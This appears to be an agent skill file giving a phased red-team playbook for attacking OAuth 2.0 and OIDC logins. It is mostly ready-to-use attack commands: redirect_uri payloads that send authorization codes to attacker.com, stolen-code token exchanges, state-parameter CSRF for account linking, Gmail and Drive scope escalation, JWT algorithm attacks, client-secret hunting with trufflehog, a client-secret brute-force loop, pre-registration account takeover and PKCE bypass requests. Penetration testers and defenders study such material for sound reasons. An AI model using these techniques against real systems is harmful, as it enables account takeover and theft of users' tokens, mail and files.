---
name: rt-oauth-oidc
description: "OAuth 2.0 and OIDC deep attack skill for authorized engagements. Authorization code interception, PKCE bypass, redirect_uri manipulation, state parameter CSRF, implicit flow token theft, client credential abuse, token leakage in referrer headers, JWT attacks on id_token, OAuth misconfiguration in social login, open redirect chaining, and account takeover via OAuth flow manipulation. Use when testing SSO, social login, or any OAuth/OIDC implementation."
---

# rt-oauth-oidc — OAuth 2.0 & OIDC Deep Attacks

## Overview

OAuth 2.0 is the authorization framework behind every "Login with Google/GitHub/Microsoft" button, API authorization, and SSO system. A single misconfiguration can allow account takeover without credentials. This skill covers the complete OAuth attack surface beyond what rt-exploit-auth covers.

---

## Phase 1 — OAuth Flow Reconnaissance

```bash
# Identify OAuth flow type
# Authorization Code: most secure, used by web apps
# Implicit: deprecated, token in URL fragment → leaks to browser history
# Client Credentials: machine-to-machine, no user
# Device Code: IoT/CLI (see rt-azure-ad)

# Find OAuth endpoints
curl https://target.com/.well-known/openid-configuration
# Reveals: authorization_endpoint, token_endpoint, jwks_uri, etc.

# Or discover manually
# Look for: /oauth/authorize, /oauth/token, /connect/authorize
# Check login buttons → inspect redirect URLs

# Extract OAuth parameters from auth request
# GET /oauth/authorize?
#   response_type=code
#   &client_id=CLIENT_ID
#   &redirect_uri=https://target.com/callback
#   &scope=openid profile email
#   &state=RANDOM_STATE

# Key parameters to attack:
# redirect_uri  → manipulation
# state         → CSRF if missing/weak
# scope         → escalation
# response_type → implicit flow downgrade
```

---

## Phase 2 — redirect_uri Manipulation

```bash
# If redirect_uri not strictly validated → steal authorization code

# Test 1: Extra path component
redirect_uri=https://target.com/callback/../../attacker.com

# Test 2: Subdomain (if wildcard allowed)
redirect_uri=https://attacker.target.com/callback

# Test 3: Different path (if prefix match only)
redirect_uri=https://target.com/callback@attacker.com
redirect_uri=https://target.com/callback%0d%0aattacker.com

# Test 4: Open redirect chaining
# target.com has open redirect at /redirect?url=
redirect_uri=https://target.com/redirect?url=https://attacker.com

# Test 5: localhost (if allowed in dev mode)
redirect_uri=http://localhost:8080

# Full attack: craft auth URL with manipulated redirect
evil_url="https://idp.target.com/oauth/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?url=https://attacker.com&scope=openid"

# Victim clicks link → code sent to attacker.com
# GET https://attacker.com/?code=AUTH_CODE&state=STATE

# Exchange stolen code for tokens
curl -X POST https://idp.target.com/oauth/token \
  -d "grant_type=authorization_code&code=AUTH_CODE&redirect_uri=...&client_id=CLIENT_ID&client_secret=CLIENT_SECRET"
```

---

## Phase 3 — State Parameter CSRF

```bash
# If state parameter is missing or not validated → CSRF → account linking attack

# Scenario: target app allows linking social accounts
# 1. Attacker initiates "Link Google Account" on their account
# 2. OAuth flow starts, state=ATTACKER_STATE
# 3. Attacker stops before completing, copies callback URL:
#    https://target.com/oauth/callback?code=ATTACKER_CODE&state=ATTACKER_STATE
# 4. Tricks victim into visiting that URL (CSRF)
# 5. Victim's session completes the OAuth → links attacker's Google to victim's account
# 6. Attacker can now log in as victim using their own Google account

# Test: remove state parameter
# Modify the callback URL, remove &state=...
# If application accepts → CSRF vulnerable

# Test: static/predictable state
# If state = timestamp or sequential number → predictable → CSRF possible
```

---

## Phase 4 — Scope Escalation

```bash
# Request more permissions than intended

# Add privileged scopes to authorization request
# Normal: scope=openid profile email
# Attack: scope=openid profile email admin write:all

# Try undocumented scopes
scope=openid profile email offline_access  # Get refresh token
scope=openid profile email api:admin
scope=openid profile email user:* groups:*

# Scope downgrade for different code paths
# Request minimal scope → bypass security checks designed for full scope flows

# Google OAuth scope escalation (if any Google scope accepted)
scope=https://www.googleapis.com/auth/gmail.readonly  # Read all emails
scope=https://www.googleapis.com/auth/drive  # Access Google Drive
# Add to existing consent → may auto-approve
```

---

## Phase 5 — Token Leakage

```bash
# Access tokens leak through various channels

# Referrer header leakage
# If app redirects to external site after OAuth with token in URL:
# https://target.com/dashboard#access_token=TOKEN → external image → Referer header leaks token

# Browser history leakage (implicit flow)
# Implicit flow: token in URL fragment → stays in browser history
# After XSS: window.location.hash → steal token from history

# Log file leakage
# Tokens in server logs if in URL params
# Check: access logs, error logs, analytics tools
# Tools: grep for "access_token\|id_token\|token=" in exported logs

# JWT id_token analysis
# Decode with jwt.io or:
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Look for: role claims, email, account_id — may be tamperable if weak secret

# JWT attacks on id_token (see also rt-exploit-jwt)
python3 jwt_tool.py ID_TOKEN -X a  # Algorithm none
python3 jwt_tool.py ID_TOKEN -X k -pk pubkey.pem  # RS256→HS256
```

---

## Phase 6 — Client Credential Abuse

```bash
# Find OAuth client_id and client_secret in source code / repos
grep -r "client_secret\|CLIENT_SECRET\|oauth_secret" .
trufflehog github --org=TARGET_ORG --only-verified | grep -i "oauth\|client_secret"

# Test client credentials directly
curl -X POST https://idp.target.com/oauth/token \
  -d "grant_type=client_credentials&client_id=FOUND_ID&client_secret=FOUND_SECRET&scope=api:read"

# If valid → you have machine-to-machine access to all APIs
# client_credentials tokens often have broader scope than user tokens

# Client secret brute force (if short/predictable)
for secret in $(cat common_secrets.txt); do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST https://idp.target.com/oauth/token \
    -d "grant_type=client_credentials&client_id=KNOWN_CLIENT_ID&client_secret=$secret")
  [ "$response" = "200" ] && echo "FOUND: $secret"
done
```

---

## Phase 7 — Account Takeover via OAuth

```bash
# Pre-account takeover
# 1. Target app allows social login (OAuth)
# 2. Attacker creates account with victim's email via password registration
# 3. Victim later tries "Login with Google" using same email
# 4. App links Google account to existing (attacker's) account
# 5. Attacker can now access victim's account via their own Google login

# Test:
# 1. Register account: victim@gmail.com with password
# 2. Log out
# 3. Try "Login with Google" with victim@gmail.com
# 4. If login succeeds → account takeover via pre-registration

# OAuth login bypass via email matching
# App looks up user by email from OAuth provider
# If provider email is attacker-controlled → register with victim's email format
# GitHub OAuth: github.com allows setting primary email → abuse for email matching

# Forced re-linking attack
# 1. Find "Connect Social Account" feature
# 2. Intercept OAuth callback
# 3. Replay callback in victim's session (CSRF if state not validated)
```

---

## Phase 8 — PKCE Bypass

```bash
# PKCE (Proof Key for Code Exchange) prevents code theft
# code_verifier → SHA256 hash → code_challenge
# Sent with auth request → verified at token exchange

# Test 1: PKCE not enforced (most common issue)
# Remove code_verifier from token exchange request
curl -X POST https://idp.target.com/oauth/token \
  -d "grant_type=authorization_code&code=STOLEN_CODE&redirect_uri=...&client_id=...
      # NO code_verifier parameter"
# If exchange succeeds → PKCE not enforced → stolen codes work

# Test 2: PKCE with plain method (downgrade)
# Send code_challenge_method=plain → code_challenge = code_verifier in plaintext
# Intercept authorization request → read code_challenge → you have the verifier
curl -X POST https://idp.target.com/oauth/token \
  -d "grant_type=authorization_code&code=CODE&code_verifier=CHALLENGE_FROM_URL"

# Test 3: Weak verifier entropy
# Some implementations use predictable code_verifiers
# Monitor multiple auth flows → look for patterns
```

---

## Skill Levels

**BEGINNER:** Decode JWT id_token · Test state parameter presence · Test redirect_uri with simple variants

**INTERMEDIATE:** Scope escalation · Client secret extraction from source · Pre-account takeover · PKCE enforcement test

**ADVANCED:** Open redirect chaining for code theft · CSRF via missing state · Token leakage via referrer

**EXPERT:** Full account takeover chains · Custom PKCE downgrade · Cross-provider OAuth confusion attacks

---

## References

- PortSwigger OAuth: https://portswigger.net/web-security/oauth
- OAuth security best practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
- jwt_tool: https://github.com/ticarpi/jwt_tool
- MITRE T1550.001: https://attack.mitre.org/techniques/T1550/001/
